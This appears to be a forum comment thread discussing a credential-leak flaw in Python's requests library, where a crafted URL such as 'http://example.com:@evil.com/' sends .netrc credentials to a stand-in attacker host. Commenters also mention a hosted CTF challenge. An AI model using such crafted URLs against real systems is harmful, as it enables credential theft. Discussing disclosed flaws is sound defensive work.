27 comments
Given that the actual vulnerability seems relatively niche along with it being such a popular library officially maintained by the Python foundation, the scariest line in the advisory is almost certainly:
The vulnerability was originally reported to the library maintainers on September 12, 2024, but no fix is available.
Well, it's probably just a coincidence, but I literally just spun up a web service that is vulnerable to this: https://isitup.daviey.com/
The code doesn't make any reference to a .netrc, but I happen to have one in ~/.netrc:
machine localhost
login *REDACTED*
password CTF{*REDACTED*}
First one to grab the flag wins, well, nothing. But have fun. I'll keep it online for a couple of weeks, or until the VC money runs out.
Sorry, you have been blocked
You are unable to access daviey.com
That's really strange... because it seems to be working for some people (already have the first solve). I can't see an issues in CF...
EDIT: I had the security in CF too robust, try now?
Edit: Comment removed on request of parent.
Well done for solving it.. but I'd have preferred you had not shared the solution, it's against the spirit of these sorts of things, but I can't stop you. :)
EDIT: I do appreciate you removing the solution. Have a great day.
Another good example of lax URL parsing/parser differentials being problematic.
That being said, I wonder how big the actual impact here is in practice: how many users actually use .netrc? I’ve been using curl and other network tools for well over a decade and I don’t think I’ve ever used .netrc for site credentials.
I think it may be in use by tools without people being aware. I decided to check my workstation for it just in case, figuring the file would be empty, or not exist.
Instead it seems to be populated with what seem to be Heroku API and git credentials.
Well then go check if you are for some reason using any of the other surprise features [1], like honoring the CURL_CA_BUNDLE env variable, or not honoring the PROXIES env variable if REQUEST_METHOD is set.
1: https://requests.readthedocs.io/en/latest/api/#requests.Sess...
I have it on my laptop because it's the most convenient way to download datasets from various repositories (e.g. NASA Earth Data).
That's some horrible url parsing code...
But honestly urllib sucks:
url.hostname doesn't return the port url.netloc also returns the basic auth part So you have to f"{u.hostname}:{u.port}"
Wait till you see the cPython stdlib email parser..
Any programming language these days should ship a decent rfc5234 API in the standard library, so you do not get these kinds of problems in slightly different fashion for each and every library/program.
If you, like me, have never heard of a .netrc file...
There might be a funny thing with FTP, in which, if a company is using FTP, it's probably for something important.
(Even if it's a bad idea now, and compromise of it could result in a bad quarter or regulatory action, legacy systems and priorities happen.)
A funny commit message in the root cause (as stated in the linked post) commit:
> Push code review advice from @sigmavirus24
To be fair, the advice from sigmavirus24 was about dealing with decoding the ':' character: https://github.com/psf/requests/pull/2936/files
The code already had `host = ri.netloc.split(':')[0]` before that.
The actual root issue is urlparse doesn't split the host, user, pass and port and trying to do it manually is very error prone:
urllib.parse.urlparse('http://example.com:@evil.com:8080/')
ParseResult(scheme='http', netloc='example.com:@evil.com:8080', path='/', params='', query='', fragment='')
parse_url ('http://example.com:@evil.com:8080/')
[
"scheme" => "http",
"host" => "evil.com",
"port" => 8080,
"user" => "example.com",
"pass" => "",
"path" => "/",
]and it is from the beginning: https://github.com/psf/requests/commit/79bb9ee1417afe2231972...
I feel this
Execute the call
>requests.get('http://example.com:@evil.com/')
>Assuming .netrc credentials are configured for example.com, they are leaked to evil.com by the call
Instead of having a url parse error it appears to drop the : and use the password:domain format.
Patch has now been merged, seems the Full Disclosure process works, https://github.com/psf/requests/pull/6965
> The vulnerability was originally reported to the library maintainers on September 12, 2024, but no fix is available.
[flagged]
man wget:
--no-netrc
Do not try to obtain credentials from .netrc file. By default .netrc file is searched for credentials in
case none have been passed on command line and authentication is required.Sounds like a misunderstanding, I’m not reading anything idiotic here — just misinformed.